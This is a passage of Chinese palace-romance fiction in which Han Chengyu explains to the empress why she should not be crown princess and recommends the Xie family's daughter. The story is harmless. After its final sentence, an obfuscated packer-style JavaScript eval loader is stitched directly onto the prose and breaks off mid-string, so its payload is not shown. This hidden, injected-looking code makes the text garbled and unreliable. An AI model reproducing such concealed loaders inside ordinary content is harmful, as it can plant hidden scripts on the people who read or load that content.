韩赪玉抬眸,目光坦荡,从容道:
“其一,臣女乃藩王嫡女。
父王封地已定、手握一方疆土。若臣女再入主东宫,便是藩王与储君亲上加亲。于皇家而言,藩镇联结储位,最是帝王大忌,极易引天子忌惮、朝野猜忌。看似亲厚,实则是将东宫、将竟陵王府,双双推至风口浪尖,于国、于储、于王家,皆是隐患。”
这是大局利弊,无可辩驳。
皇后闻言,指尖微顿,心底已然轻轻一动。
见此,韩赪玉继续沉声而言:
“其二,臣女心中,早有心悦之人。
一生情衷既定,再难虚与东宫周旋。若强行为配,臣女难尽储妃本分,终究愧对中宫栽培,亦误太子一生。臣女不愿以一己身,污东宫清誉、误朝廷礼制。”
她坦荡自白,不藏不躲,风骨凛然。
随即,她话锋一转,从容举荐,字字公允中肯:
“娘娘若择太子正妃,臣女斗胆举荐——谢氏嫡女。
谢氏世代高门,清流世族,根基稳固却无藩镇兵权之嫌。谢嫡女生性温良端静,荣华不骄、富贵不惊,沉静有度、品性纯良,最是适合坐镇东宫、端庄六宫。
她无半分锋芒逼人之态,却有正妻母仪之度,与世无争、沉稳持重,可稳东宫气运、可安朝野人心。
相较臣女身份敏感、心有所属,谢氏嫡女,才是天造地设的太子妃人选。”
一席长谈,条理分明、公私兼顾。
既有为国为朝的大局考量,又有自身情衷的坦诚剖白,更有为东宫慎重择后的远见。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6()